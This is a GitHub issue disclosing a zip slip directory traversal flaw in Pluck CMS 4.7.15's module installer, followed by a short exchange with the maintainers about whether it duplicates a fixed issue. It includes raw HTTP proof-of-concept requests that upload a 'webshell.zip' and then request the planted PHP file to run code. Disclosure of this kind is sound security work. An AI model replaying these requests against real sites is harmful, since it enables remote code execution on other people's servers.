Pluck 4.7.15 - Zip Slip Vulnerability
debug601 opened this issue · comments
Issue Summary
Pluck's module and installmodule are vulnerable to directory traversal (via zip slip) and arbitrary code execution.
php version: php5.2.1
Detailed Description
There is a problem in Pluuck 4.7.15. / data/inc/module_install.php allows remote malicious users to upload malicious zip files to traverse directories outside the expected environment, which may allow execution of arbitrary code that will run with the privileges of the user assigned to the Web server.
Vulnerability url:
http://192.168.1.128/pluck4.7.15/admin.php?action=installmodule
Vulnerability POC:
POST /pluck4.7.15/admin.php?action=installmodule HTTP/1.1
Host: 192.168.1.128
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.1.128/pluck4.7.15/admin.php?action=installmodule
Cookie: PHPSESSID=9f912ae90a81102465d8590f4f007e8e
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------26434200512599
Content-Length: 478
-----------------------------26434200512599
Content-Disposition: form-data; name="sendfile"; filename="webshell.zip"
Content-Type: application/x-zip-compressed
PK���
-----------------------------26434200512599
Content-Disposition: form-data; name="submit"
Upload
-----------------------------26434200512599--
arbitrary code execution
GET /pluck4.7.15/data/modules/webshell/2.php HTTP/1.1
Host: 192.168.1.128
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=9f912ae90a81102465d8590f4f007e8e
Connection: close
Impact
This vulnerability allows remote code execution and directory traversal under the privileges of the user running the Web server application.
This is a duplicate of issue #100 which has been fixed in the latest dev version.
This is a new way to use it.
See if it still exists in the latest dev version. issue #100 is fixed in the latest version, which should make zip zip impossible.
查看它是否仍存在于最新的开发版本中。问题#100在最新版本中已修复，这应该使zip无法进行。
I also tested it on Pulck4.7.16.dev1 and found this vulnerability.
This means that pluck4.7.15 has not fixed this utilization method at all. This is fundamentally different from # 100. I believe this loophole exists in pluck4.7.15,pluck4.7.16.dev1-dev3 and all the versions you have released so far. I want to apply for cve for each version.